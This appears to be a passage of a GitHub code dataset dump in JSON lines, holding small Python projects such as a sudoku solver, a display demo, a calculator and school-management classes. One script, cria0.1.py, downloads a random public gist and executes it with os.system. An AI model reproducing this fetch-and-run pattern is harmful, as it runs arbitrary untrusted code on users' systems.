1\n\n\t\tself.population.sort(key=get_fit, reverse=True)\n\t\tprint(\"\")\n\t\tprint(\"Accuracy: \", (self.population[0].fitness / (lendata * 19.0)) * 100.0, \"%\")\n\t\tprint(\"max: \", self.population[0].fitness)\n\t\tprint(\"min: \", self.population[-1].fitness)\n\t\tprint(\"\")\n\n\tdef reproduce(self):\n\t\tfor i in range(10, len(self.population)):\n\t\t\tmother = self.population[random.randint(0, 9)]\n\t\t\tself.population[i] = copy.deepcopy(mother)\n\t\t\tchild = self.population[i]\n\t\t\tchild.mutate()\n\t\t\tchild.clean()\n\n\nfrom src.helper import get_label, pre_processed_data, pre_processed_label\nfrom src.arg import parse_args\nimport numpy as np\nimport json\n\nif __name__ == '__main__':\n\targs = parse_args(\"NEAT\").parse_args([\"-r\", \"-s\", \"0.01\", \"-f\", \"../../data/random/\"])\n\trand = np.random.randint(0, 10000000)\n\tdata, testdata = pre_processed_data(args, rand)\n\tlabel, testlabel = pre_processed_label(args, rand)\n\tgen = Generation(100, data, label)\n\n\tmaxFit = 0\n\tfor i in range(100):\n\t\tprint(\"Running generation \", i, \":\")\n\t\tgen.cleanFitness()\n\t\tgen.run_generation()\n\t\tgen.reproduce()\n\t\tif maxFit < gen.population[0].fitness:\n\t\t\tgen.population[0].save(\"best_\" + str(math.floor((gen.population[0].fitness / (len(data) * 19.0)) * 100.0)) + \".txt\")\n\t\t\tmaxFit = gen.population[0].fitness\n","repo_name":"jackred/CW1_GERMAN_SIGN","sub_path":"src/NEAT/generation.py","file_name":"generation.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28549384821","text":"import sys\nif sys.version_info[0] >= 3:\n import tkinter as tk\n from tkinter import *\n from tkinter import ttk\n import tkinter.font\nelse:\n import Tkinter as tk\n from tkinter import *\n import ttk\n import tkFont\nimport array\nimport math\nimport numpy as np\nfrom copy import copy, deepcopy\n\ndef main():\n print(\"I SOLVE SUDOKU PUZZLES\")\n\n root = tk.Tk()\n frame = tk.Frame(master = root)\n frame.pack(fill=tk.BOTH, expand=1)\n solveButton = tk.Button(master = frame, height = 1, width = 14)\n solveButton.grid(row = 10, column = 0, columnspan = 9)\n solveButton.config(text = \"Solve\", font = ('COURIER', 20))\n resetButton = tk.Button(master = frame, height = 2, width = 8)\n resetButton.grid(row = 11, column = 0, columnspan = 9, pady = 1)\n resetButton.config(text = \"Reset\", font = ('COURIER', 8))\n\n reset_pressed = False\n w, h = 9, 9;\n sudoku = []\n entry_list = []\n\n def set_grid():\n for row in range(9):\n for col in range(9):\n entry = tk.Entry(master = frame, width = 2)\n entry.grid(row = row, column = col, padx = 1, pady = 1)\n if row < 3 or row > 5:\n if col > 2 and col < 6:\n entry.configure({'background': 'grey90'})\n else:\n if col < 3 or col > 5:\n entry.configure({'background': 'grey90'})\n entry_list.append(entry)\n set_grid()\n def reset_grid(event):\n reset_pressed = True\n for x in range(9):\n for y in range(9):\n entry_list[x*9 + y].delete(0,'end')\n\n def solve_puzzle(event):\n print('Solving...')\n print('boop.')\n print('beep.')\n print('bop.')\n can_solve = True\n saved_sudoku = [] #this will be used to iterate through and save sudoku puzzles\n solved_sudoku = [[0 for x in range(w)] for y in range(h)]\n check_for_progress = [[], [], solved_sudoku]\n entry_list_postition = 0\n sudoku = []\n\n for x in range(9):\n sudoku.append([])\n for y in range(9):\n val = entry_list[entry_list_postition].get()\n if val in '123456789' and val != '':\n sudoku[x].append([int(val)])\n\n elif val == '':\n sudoku[x].append([1, 2, 3, 4, 5, 6, 7, 8, 9])\n else:\n print('I will treat values not in range 1-9 as empty')\n sudoku[x].append([1, 2, 3, 4, 5, 6, 7, 8, 9])\n entry_list_postition += 1\n\n sudoku_new = np.array(sudoku)\n for x in range(9):\n for y in range(9):\n block = find_block(sudoku_new, x, y)\n if is_multiple_rowcol(sudoku_new, x, y) \\\n or is_multiple_block(block):\n can_solve = False\n\n if can_solve:\n saved_sudoku.append(sudoku_new)\n if solve(saved_sudoku, solved_sudoku, check_for_progress):\n print('Solved!')\n for x in range(9):\n for y in range(9):\n entry_list[x*9 + y].delete(0,'end')\n entry_list[x*9 + y].insert(END, solved_sudoku[x][y])\n else:\n print(\"This is not a valid puzzle\")\n print('Try a valid puzzle')\n\n def find_block(puzzle, row, col):\n block = [[0 for x in range(3)] for y in range(3)]\n if row < 3:\n if col < 3:\n block = puzzle[0:3, 0:3]\n elif col < 6:\n block = puzzle[0:3, 3:6]\n else:\n block = puzzle[0:3, 6:9]\n elif row < 6:\n if col < 3:\n block = puzzle[3:6, 0:3]\n elif col < 6:\n block = puzzle[3:6, 3:6]\n else:\n block = puzzle[3:6, 6:9]\n else:\n if col < 3:\n block = puzzle[6:9, 0:3]\n elif col < 6:\n block = puzzle[6:9, 3:6]\n else:\n block = puzzle[6:9, 6:9]\n return block\n\n def guess_num(grid, len_saved, saved_sudoku):\n removed_one = False\n copy_sudoku = deepcopy(grid)\n copy_grid = deepcopy(grid)\n for x in range(9):\n for y in range(9):\n if removed_one == False:\n if 1 < len(grid[x][y]) < 3:\n #this finds if there are 2 options in a cell\n #then it replaces the \"tree root\" with one guess\n #and keeps going forward with the other guess\n copy_sudoku[x][y].remove(copy_sudoku[x][y][0])\n copy_grid[x][y].remove(copy_grid[x][y][1])\n del saved_sudoku[-1]\n saved_sudoku.append(copy_sudoku)\n saved_sudoku.append(copy_grid)\n removed_one = True\n\n def is_multiple_rowcol(grid, row, col):\n end = False\n double_value_in_row = []\n double_value_in_col = []\n for x in range(9):\n row_cell = grid[row][x]\n col_cell = grid[x][col]\n if len(row_cell) == 1:\n double_value_in_row.append(row_cell[0])\n check_row_number_repeat = double_value_in_row.count(row_cell[0])\n if check_row_number_repeat > 1:\n end = True\n if len(col_cell) == 1:\n double_value_in_col.append(col_cell[0])\n check_col_number_repeat = double_value_in_col.count(col_cell[0])\n if check_col_number_repeat > 1:\n end = True\n if end:\n return True\n else:\n return False\n\n def is_multiple_block(block):\n end = False\n block_values = []\n for x in range(3):\n for y in range(3):\n cell = block[x][y]\n if len(cell) == 1 and end == False:\n block_values.append(cell[0])\n block_values_repeat = block_values.count(cell[0])\n if block_values_repeat > 1:\n end = True\n if end == True:\n return True\n else:\n return False\n\n def solve(saved_sudoku, solved_sudoku, check_for_progress):\n is_done = False\n count_row, count_col = 0,0\n value_int = 0\n count = 0\n doubles_occur = False\n\n while is_done == False:\n if count > 5000:\n print('this puzzle is not solvable, try a real puzzle')\n return False\n break\n if doubles_occur:\n del saved_sudoku[-1]\n doubles_occur = False\n puzzle = saved_sudoku[len(saved_sudoku)-1]\n if check_for_progress[0] == check_for_progress[2]:\n guess_num(puzzle, len(saved_sudoku)-1, saved_sudoku)\n while count_row < 9:\n while count_col < 9:\n length = len(puzzle[count_row][count_col])\n if length == 1:\n value = puzzle[count_row][count_col]\n value_int = value[0]\n block = find_block(puzzle, count_row,count_col)\n if is_multiple_block(block) == False \\\n and is_multiple_rowcol(puzzle, count_row, count_col) == False:\n solved_sudoku[count_row][count_col] = value_int\n else:\n doubles_occur = True\n for x in range(3):\n for y in range(3):\n cell = block[x][y]\n length_cell = len(block[x][y])\n if length_cell > 1:\n if value_int in cell:\n cell.remove(value_int)\n for x in range(9):\n if len(puzzle[count_row][x]) > 1:\n if value_int in puzzle[count_row][x]:\n puzzle[count_row][x].remove(value_int)\n if len(puzzle[x][count_col]) > 1:\n if value_int in puzzle[x][count_col]:\n puzzle[x][count_col].remove(value_int)\n count_col += 1\n check_for_progress.append(solved_sudoku)\n if len(check_for_progress) != 3:\n check_for_progress.remove(check_for_progress[0])\n count_row += 1\n count_col = 0\n count_row = 0\n count_col = 0\n count += 1\n is_zero = 1\n for x in range(9):\n for y in range(9):\n is_zero *= solved_sudoku[x][y]\n if is_zero != 0:\n is_done = True\n return True\n\n solveButton.bind(\"\", solve_puzzle)\n resetButton.bind(\"\", reset_grid)\n root.title(\"Sudoku Solver\")\n root.mainloop()\nif __name__ == '__main__':\n main()\n","repo_name":"zlonneman/Sudoku-Solver","sub_path":"solverApp.py","file_name":"solverApp.py","file_ext":"py","file_size_in_byte":9230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19227475127","text":"# 5. Реализовать структуру «Рейтинг», представляющую собой набор натуральных чисел,\n# который не возрастает.\n# У пользователя нужно запрашивать новый элемент рейтинга.\n# Если в рейтинге существуют элементы с одинаковыми значениями,\n# то новый элемент с тем же значением должен разместиться после них.\n\nmy_list = [7, 5, 3, 3, 2]\n\nnew_ranking = int(input(\"Print new element of ranking list:\"))\n\nif new_ranking in my_list[:]:\n my_list.insert(my_list.index(new_ranking), new_ranking)\n\nfor i in my_list[:]:\n if new_ranking not in my_list[:]:\n while new_ranking > i:\n my_list.insert(my_list.index(i), new_ranking)\n break\nif new_ranking not in my_list[:]:\n my_list.append(new_ranking)\nprint(my_list)\n\n","repo_name":"Fouls00/GeekBrains_Python","sub_path":"Lesson_2/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29588666482","text":"import os\nimport cv2\n\ndef loadImages(dirPath):\n images = []\n with os.scandir(dirPath) as filenames:\n for filename in filenames:\n img = cv2.imread(os.path.join(dirPath, filename.name))\n if img is not None:\n images.append(img)\n return images\n\ndef writeImages(dirPath, imgs):\n for i, img in enumerate(imgs, start=1):\n cv2.imwrite(os.path.join(dirPath, 'out' + str(i) + '.jpg'), img)\n","repo_name":"R-Jin/SU3-18","sub_path":"Image-processing/util/io/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28758128985","text":"import board\nimport busio\nimport displayio\nimport terminalio\nfrom adafruit_display_text import label\nfrom adafruit_ht16k33 import segments\nimport adafruit_displayio_sh1106\nimport time\n\ndisplayio.release_displays()\n\ni2c = busio.I2C(board.GP5, board.GP4)\ndisplay_bus = displayio.I2CDisplay(i2c, device_address=0x3c)\n\n\nWIDTH = 130 #should be 128, but at the right side of the screen there are some disturb\nHEIGHT = 64\nBORDER = 2\nWHITE = 0xFFFFFF\nBLACK = 0x000000\n\ndisplay = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT)\n\n# Make the display context\nsplash = displayio.Group()\ndisplay.show(splash)\n\ncolor_bitmap = displayio.Bitmap(WIDTH, HEIGHT, 1)\ncolor_palette = displayio.Palette(1)\ncolor_palette[0] = WHITE # White\n\nbg_sprite = displayio.TileGrid(color_bitmap, pixel_shader=color_palette, x=0, y=0)\nsplash.append(bg_sprite)\n\n# Draw a smaller inner rectangle\ninner_bitmap = displayio.Bitmap(WIDTH - BORDER * 2, HEIGHT - BORDER * 2, 1)\ninner_palette = displayio.Palette(1)\ninner_palette[0] = BLACK # Black\ninner_sprite = displayio.TileGrid(inner_bitmap, pixel_shader=inner_palette, x=BORDER, y=BORDER)\nsplash.append(inner_sprite)\n\n# Draw a label\ntext = \"Hi GIPT!\"\ntext_area = label.Label(terminalio.FONT, text=text, color=WHITE, x=WIDTH // 2 - 20, y=10)\nsplash.append(text_area)\n\ntext = \"I2C with sh1106\"\ntext_area = label.Label(terminalio.FONT, text=text, color=WHITE, x=6, y=20)\nsplash.append(text_area)\n\ntext = \"Hello Thor!\"\ntext_area = label.Label(terminalio.FONT, text=text, color=WHITE, x=10, y=30)\nsplash.append(text_area)\ntext = \"Hello Cuong!\"\ntext_area = label.Label(terminalio.FONT, text=text, color=WHITE, x=10, y=40)\nsplash.append(text_area)\ntext = \"Hello Hybert!\"\ntext_area = label.Label(terminalio.FONT, text=text, color=WHITE, x=10, y=50)\nsplash.append(text_area)\n\ni2c2 = busio.I2C(board.GP3, board.GP2)\n\ndisplay2 = segments.Seg14x4(i2c2)\n# Display connected to I2C pins.\n# display = segments.Seg14x4(board.I2C())\n\n# This section displays four 0's across the display. The code shows four\n# different ways to use the set_digit_raw function. Each is labeled below.\n# 16-bit Hexadecimal number\ndisplay2.set_digit_raw(0, 0x2D3F)\ntime.sleep(1)\n# 16-bit Binary number\ndisplay2.set_digit_raw(1, 0b0010110100111111)\ntime.sleep(1)\n# 8-bit Binary Tuple\ndisplay2.set_digit_raw(2, (0b00101101, 0b00111111))\ntime.sleep(1)\n# 8-bit Hexadecimal List\ndisplay2.set_digit_raw(3, [0x2D, 0x3F])\ntime.sleep(1)\n\n# Scroll \"Hello, world!\" across the display. Setting the loop parameter to false allows you to\n# tell the marquee function to run only once. By default, marquee loops indefinitely.\ndisplay2.marquee(\"XIN CHAO --GIPT----\", loop=0)\ntime.sleep(1)\ndisplay2.marquee(\"XIN CHAO **THOR****\", loop=0)\ntime.sleep(1)\ndisplay2.marquee(\"XIN CHAO \\\"\\\"CUONG\\\"\\\"\\\"\\\"\", loop=0)\ntime.sleep(1)\ndisplay2.marquee(\"MINH LA __HIEN____\", loop=0)\n# Delay between.\ntime.sleep(2)\n\n# Scroll special characters, uppercase and lowercase letters, and numbers across\n# the display in a loop. This section will continue to run indefinitely.\ndisplay2.marquee(\" \".join(chr(character) for character in range(ord(\"!\"), ord(\"z\") + 1)))","repo_name":"hyberttran/hyberttran","sub_path":"display/tesh led and lcd.py","file_name":"tesh led and lcd.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36143028863","text":"'''\nkeys:\nSolutions:\nSimilar: 227, 772\nT:\nS:\n'''\nfrom typing import List\n# with parenthesis but only +/-\n\nclass Solution:\n # O(N) for S and T\n def calculate(self, s: str) -> int:\n if s is None:\n return 0\n \n stack = []; num = 0; res = 0; sign = 1\n for str_ in s:\n if str_.isdigit():\n num = num*10 + int(str_)\n elif str_ in [\"-\", \"+\"]:\n res += sign*num\n num = 0\n sign = [-1, 1][str_ == \"+\"] # sign for the number after the sign\n elif str_ == \"(\":\n stack.append(res)\n stack.append(sign)\n sign, res = 1, 0 # reset the sign and result for the value in the parenthesis\n elif str_ == \")\":\n res += sign*num\n res *= stack.pop() # stack.pop() is the sign before the parenthesis\n res += stack.pop() # stack.pop() now is the result calculated before the parenthesis\n num = 0\n return res + num*sign\n\n\nobj = Solution()\nprint (obj.calculate(\"(1+(4+5+2)-3)+(6+8)\"))\n\n","repo_name":"qinzhouhit/leetcode","sub_path":"subsets/224calculate.py","file_name":"224calculate.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39520775781","text":"from modules.tasks.task import Task\n# from modules.mcl.config import Config\n# , ActuatorData # , SensorData\nfrom modules.drivers.valve import ValveBoard\nfrom modules.mcl.system_state import SystemState\nfrom modules.threads.slow_i2c_thread import SlowI2CThread\nfrom modules.drivers.i2c import I2CBus\n\n\nclass ValvesTask(Task):\n def __init__(self, state: SystemState):\n i2c_bus = I2CBus()\n self.valve = ValveBoard(i2c_bus, 0x44)\n self.valve.valve_control.value = ValveBoard.ValveControlData(\n goal_pos=50)\n self.i2c_thread = SlowI2CThread([self.valve])\n self.i2c_thread.start()\n super().__init__('Valves', state)\n\n def sense(self):\n self.valve.sync_all()\n print(self.valve.sensor.value, self.valve.check_connected())\n","repo_name":"henrynester/FlightComputer-sw","sub_path":"modules/tasks/valves_task.py","file_name":"valves_task.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26202314162","text":"import urllib2\nimport random\nfrom BeautifulSoup import BeautifulSoup\nimport os\n\nwhile True:\n # what my code will be about?\n queries = ['sort', 'reverse', 'pussy', 'cat', 'merge', 'plot',\n 'complexnetwork', 'complex', 'network', 'hack', 'boobs',\n 'sexy', 'asciiart', 'art', 'ascii', 'ga', 'genetic', 'porn', 'p0rn'\n 'asciiporn', 'asciip0rn', 'girl', 'cow', 'tits', 'recursion', 'recursive',\n 'fractal', 'mandelbrot', 'agent', 'celullar', 'automata', 'automaton',\n 'ircbot', 'bot', 'irc', 'simple', 'socket', 'client', 'http', 'server']\n \n # I choose one of those\n q = random.choice(queries)\n \n # request a gist\n req = urllib2.urlopen(\"http://gist.github.com/search?l=python&q=%s\" % q)\n html = req.read()\n \n # parse a list of gists in html\n soup = BeautifulSoup(html)\n \n # find all gist creators of the page\n creators = soup.findAll('span', attrs={'class': 'creator'})\n \n # get links for all gists of every creator\n hrefs = [cr.findAll('a', href=True)[1]['href'] for cr in creators]\n\n if len(hrefs) > 0:\n # get the raw data of a gist\n w = random.randint(0,len(hrefs)-1)\n req = urllib2.urlopen(\"http://gist.github.com/%s/raw\" % hrefs[w])\n raw = req.read()\n \n # create a new file remixing the gist\n f = open('new.py', 'w')\n f.write(raw)\n f.close()\n \n # run the code\n os.system('python new.py')\n","repo_name":"automata/crias","sub_path":"cria0.1.py","file_name":"cria0.1.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"1342800303","text":"\n\"\"\"\n*******************************************************************\n\nDo dependency parsing\n\nUse the parser `Biaffine Parser' from SuPar.\n\nMore details about the parser can be found here,\nhttps://github.com/yzhangcs/parser.\n\n*******************************************************************\n\"\"\"\n\nimport json\nimport argparse\nfrom tqdm import tqdm\nfrom supar import Parser\n\n\ndef get_all_samples(data_split):\n\n samples=json.load(open('../data/{}-v2.0.json'.format(data_split),'r'))\n\n all_paragraphs=[]\n for doc in tqdm(samples['data']):\n for para in doc['paragraphs']:\n tmp={}\n content = para['context']\n tmp['context'] = content\n tmp['qas'] = []\n for qa in para['qas']:\n foo={}\n foo['id'] = qa['id']\n foo['question'] = qa['question']\n foo['answers'] = []\n for ans in qa['answers']:\n foo['answers'] += [ans['text']]\n tmp['qas'] += [foo]\n all_paragraphs += [tmp]\n\n with open('all_paragraphs_{}.json'.format(data_split),'w') as f:\n json.dump(all_paragraphs,f)\n\n return all_paragraphs\n\ndef get_all_ids(data_split):\n\n # para_ids = [int(x.strip('\\n').split(' ')[0]) for x in open('./questions_more_than_one_sentences_{}.txt'.format(data_split),'r').readlines()]\n # qa_ids = [x.strip('\\n').split(' ')[1] for x in open('./questions_more_than_one_sentences_{}.txt'.format(data_split),'r').readlines()]\n # return para_ids,qa_ids\n\n para_ids = [int(x.strip('\\n').split(' ')[0]) for x in open('./have_problems_{}.txt'.format(data_split),'r').readlines()]\n return para_ids\n\ndef process_text(sent):\n return sent.strip(' ').strip('\\n').replace('″','\"').replace('…','...').replace('½','*').replace('\\n',' ').replace(' ',' ').replace('´','\\'').replace('fl','f').replace('№','No')\n\ndef main():\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_split', default='dev', type=str, help='dev or train')\n\n args = parser.parse_args()\n\n print('Initialize the model...')\n\n #initialize the dependency parsing model\n parser=Parser.load('biaffine-dep-en')\n\n print('Process the {} data'.format(args.data_split))\n # samples = get_all_samples(args.data_split)\n samples = json.load(open('./all_paragraphs_{}.json'.format(args.data_split),'r'))\n\n questions_more_than_one_sentences = []\n have_problems = []\n\n #Begin to parse data\n results=[]\n for i in tqdm(range(len(samples))):\n\n item = samples[i]\n tmp={}\n\n #content = item['context']\n content = [x.strip(' ')+'.' for x in item['context'].split('.') if x!=' ' and x!='']\n\n tmp['original_context'] = content\n tmp['parsed_context'] = []\n\n parsed_content = parser.predict(content, lang='en', prob=True, verbose=False)\n for sent in parsed_content:\n stored1 = {}\n stored1['arcs'] = sent.arcs\n stored1['rels'] = sent.rels\n tmp['parsed_context'] += [stored1]\n\n tmp['qas'] = []\n for q in item['qas']:\n stored2={}\n stored2['id']=q['id']\n stored2['original_quesiton']=q['question']\n stored2['parsed_question'] = []\n\n #q['question'] = q['question'].replace('″','\"').replace(' ',' ')\n question = [x.strip(' ')+'.' for x in q['question'].split('.') if x!=' ' and x!='']\n parsed_question = parser.predict(question, lang='en', prob=True, verbose=False)\n\n for sent in parsed_question:\n stored3 = {}\n stored3['arcs'] = sent.arcs\n stored3['rels'] = sent.rels\n stored2['parsed_question'] += [stored3]\n\n tmp['qas'] += [stored2]\n\n results += [tmp]\n\n with open('dep_parsed_{}.json'.format(args.data_split),'w') as fout:\n json.dump(results,fout)\n\n\n # print('{} questions that contains more than one sentences.'.format(len(questions_more_than_one_sentences)))\n # #with open('questions_more_than_one_sentences_{}.txt'.format(args.data_split),'w') as f1:\n # # f1.write('\\n'.join('%s %s' % x for x in questions_more_than_one_sentences))\n\n # print('{} data have problems.'.format(len(have_problems)))\n # #with open('have_problems_{}.txt'.format(args.data_split),'w') as f2:\n # # f2.write('\\n'.join('%s' % x for x in have_problems))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"summer1030/Syntax-informed-QA","sub_path":"utils/DependencyParse.py","file_name":"DependencyParse.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38573683270","text":"# from classlib import *\nfrom pymysql import *\nfrom mysqldb.mysql_connect import mysql_connect\nfrom classlib.class_teacher import teacher\nfrom classlib.class_student import student\nfrom classlib.class_course import course\n\n\nclass school(object):\n school_list = []\n\n def __init__(self):\n self.__name = ''\n self.__address = ''\n self.__teacher_list = []\n self.__student_list = []\n self.__course_list = []\n self.__id = ''\n\n def init_school(self, name, address):\n self.__name = name\n self.__address = address\n school.school_list.append(name)\n self.__id = school.school_list.index(name)\n\n # Register a new school\n def regSchool(self):\n print(\"------Registered School------\")\n school_name = input(\"School name: \")\n school_address = input(\"School Address: \")\n school.school_list.append(school_name)\n self.__name = school_name\n self.__address = school_address\n print(\"------Registered Successful------\\n\")\n\n print(\"------Store to MySQL------\")\n #Cannot commit ///BUG///\n db1 = mysql_connect()\n # db1.auto_connection()\n db2=mysql_connect()\n db2.auto_connection()\n # count the number of registered school\n sql2=\"SELECT count(*)from school\"\n db2.cursor.execute(sql2)\n res=db2.cursor.fetchone()[0]\n db2.close()\n # print(res)\n # id is not right\n sql1 = \"INSERT INTO school(name, address, id) VALUES ('%s','%s',%s)\" % (school_name, school_address, res)\n db1.exc(sql1)\n # print(res)\n print('------Insert Successful!------\\n')\n\n '''\n function ADD objects...\n '''\n\n # add course with its name and teacher'name\n # def add_course(self, course_name, teacher_name):\n # new_course = course(course_name, teacher_name)\n # self.__course_list.append(new_course)\n # course.course_list.append(course_name)\n # new_course.teacherInfo.setName(teacher_name)\n # print(\"Add course: \" + course_name + '\\n')\n def add_course(self):\n course_name = input(\"Input course name: \")\n teacher_name = input(\"Input teacher name: \")\n new_course = course(course_name, teacher_name)\n self.__course_list.append(new_course)\n course.course_list.append(course_name)\n new_course.teacherInfo.setName(teacher_name)\n print(\"Add course %s successful!\" % course_name)\n\n # def add_teacher(self, teacher_name):\n # new_teacher = teacher(teacher_name)\n # self.__teacher_list.append(new_teacher)\n # print(\"Add teacher: \" + teacher_name + '\\n')\n def add_teacher(self):\n new_teacher = teacher(input(\"Input teacher's name: \"))\n self.__teacher_list.append(new_teacher)\n print(\"Add teacher %s successful!\" % new_teacher.getName())\n\n # add student by input his/her information\n def add_student(self):\n new_student = student()\n new_student.signup()\n self.__student_list.append(new_student)\n # print(\"Add student: \" + new_student.getName() + '\\n')\n\n # add student with his/her name, school and id\n def add_student_details(self, name, school, id):\n new_student = student()\n new_student.setName(name)\n new_student.setSchool(school)\n new_student.setID(id)\n self.__student_list.append(new_student)\n print(\"Add student: \" + name + '\\n')\n\n '''\n function GET information...\n '''\n\n def get_teacher_list(self):\n print(\"This school's teacher list:\\n\")\n for i in self.__teacher_list:\n print(i.getName() + '\\t')\n print()\n\n def get_student_list(self):\n print(\"This school's student list:\\n\")\n for i in self.__student_list:\n print(i.getName() + '\\t')\n print()\n\n def get_course_list(self):\n print(\"This school's course list:\\n\")\n for i in self.__course_list:\n print(i.getName() + '\\t')\n print()\n\n def get_school_name(self):\n print(\"This school's name is \" +\n self.__name + '\\n')\n\n def get_school_address(self):\n print(\"This school's address is \" +\n self.__address + '\\n')\n\n '''\n function SET...\n '''\n","repo_name":"maize1111/School-Manage-System","sub_path":"classlib/class_school.py","file_name":"class_school.py","file_ext":"py","file_size_in_byte":4265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4620261334","text":"# List Comprehension Examples in Python\n\n# [ausdruck for element in liste]\n# Example 1: Create a list of squares of numbers from 1 to 10.\nsquares = [x ** 2 for x in range(1, 11)]\nprint(\"Example 1:\", squares)\n\n# Example 2: Create a list of even numbers from 1 to 20.\ndef check_if_even(num):\n if num % 2 == 0:\n return True\n else:\n return False\n\neven_numbers = [num for num in range(1, 21) if check_if_even(num)]\nprint(\"Example 2:\", even_numbers)\n\n# Example 3: Generate a list of uppercase versions of words in a list.\nwords = [\"apple\", \"banana\", \"cherry\"]\nfor_uppercase = []\nfor word in words:\n for_uppercase.append(word.upper())\n \nuppercase_words = [word.upper() for word in words]\nprint(\"Example 3\", for_uppercase)\nprint(\"Example 3:\", uppercase_words)\n\n# Example 4: Create a list of the lengths of words in a list.\nwords = [\"cat\", \"elephant\", \"dog\"]\n\nfor_word_length = []\nfor word in words:\n for_word_length.append(len(word))\n\nword_lengths = [len(word) for word in words]\nprint(\"Example 4:\", word_lengths)\n\n# Example 5: Extract the consonants from a given word.\nword = \"hello\"\nconsonants = [char for char in word if char not in \"aeiou\"]\nprint(\"Example 5:\", consonants)\n\n# Example 6: Create a list of the square roots of positive numbers in another list.\nnumbers = [25, 16, 9, 4]\nsquare_roots = [x**0.5 for x in numbers if x > 0]\nprint(\"Example 6:\", square_roots)\n\n# Example 7: Create a list of the first letter of each word in a sentence.\nsentence = \"This is a sample sentence:\"\nsentence_splitted = sentence.split()\nfirst_letters = [word[0] for word in sentence_splitted]\nlast_letters = [word[-1] for word in sentence_splitted if word[-1] not in \".!?:\"]\nlast_letters_isalnum = [word[-1] for word in sentence_splitted if word[-1].isalnum()]\nprint(\"Example 7 (first_letter):\", first_letters)\nprint(\"Example 7 (last_letter):\", last_letters)\nprint(\"Example 7 (last_letters_islanum):\", last_letters_isalnum)\n\n# Example 8: Filter a list of numbers to get only the prime numbers.\nnumbers = [2, 3, 4, 5, 6, 7, 8, 9, 10]\nprime_numbers = [x for x in numbers if all(x % i != 0 for i in range(2, x))]\nprint(\"Example 8:\", prime_numbers)\n\n# Example 9: Create a list of pairs (tuples) with the index and value of each element in a list.\nelements = [\"apple\", \"banana\", \"cherry\"]\nindexed_elements = [(index, value) for index, value in enumerate(elements)]\nprint(\"Example 9:\", indexed_elements)\n\n# Example 10: Create a list of words that contain the letter 'a' from a list of words.\nwords = [\"apple\", \"banana\", \"cherry\", \"date\"]\na_words = [word for word in words if \"a\" in word]\nprint(\"Example 10:\", a_words)\n\n\ntest = {\"age\": 39, \"name\": \"Dimi\"}\n\nfor idx, key in enumerate(test):\n print(idx, key)","repo_name":"tarasowski/techstarter","sub_path":"25-10-2023/list_comprehension.py","file_name":"list_comprehension.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"74526253518","text":"import numpy as np\nimport pandas as pd\nfrom itertools import combinations\nfrom scipy.stats import t\n\n\ndef student_t(results, reps, alpha=0.05):\n medias = []\n somas_quadradas = []\n variancias = []\n \n for col in results.columns:\n alg_results = np.array(results[col])\n\n m = np.mean(alg_results)\n sq = np.sum(alg_results ** 2)\n v = np.var(alg_results)\n\n medias.append(m)\n somas_quadradas.append(sq)\n variancias.append(v)\n \n df = results.copy()\n tmp_df = pd.DataFrame([medias, somas_quadradas, variancias],\n columns=results.columns,\n index=['avg', 'sqrd_sum', 'var'])\n df = df.append(tmp_df)\n\n\n columns = []\n ts_criticos = [] # valores de t para cada combinação\n p_values = [] # valor encontrado\n \n comb_array = combinations(results.columns, 2)\n for cmb in comb_array:\n columns.append(\"{} - {}\".format(cmb[0], cmb[1]))\n\n var1 = df.loc['sqrd_sum'][cmb[0]]\n var2 = df.loc['sqrd_sum'][cmb[1]]\n s = (((reps * var1) + (reps * var2)) / (reps + reps - 2)) \\\n * ((reps + reps) / (reps * reps))\n s = np.sqrt(s)\n\n mean1 = df.loc['avg'][cmb[0]]\n mean2 = df.loc['avg'][cmb[1]]\n p_value = np.abs((mean1 - mean2) / s)\n\n gl = reps + reps - 2\n pr = 1 - (alpha / 2)\n t_critico = t.ppf(gl, pr)\n\n ts_criticos.append(t_critico)\n p_values.append(p_value)\n\n analise = pd.DataFrame(data=[ts_criticos, p_values],\n columns=columns,\n index=['t', 'analise'])\n\n return analise","repo_name":"ArthurLimaS/EA-and-SI","sub_path":"static_test.py","file_name":"static_test.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"6629188137","text":"import random\ndef task_5(l1, l2):\n \"\"\"Формирует третий список из двух заданных\n без повторяющихся элементов\"\"\"\n rez = []\n for i in l1:\n if i not in rez:\n rez.append(i)\n for j in l2:\n if j not in rez:\n rez.append(j)\n print(l1, l2, sep=\"\\n\")\n return rez\nl1 = [random.randint(0, 10) for i in range(5)]\nl2 = [random.randint(0, 10) for i in range(5)]\nprint(task_5(l1, 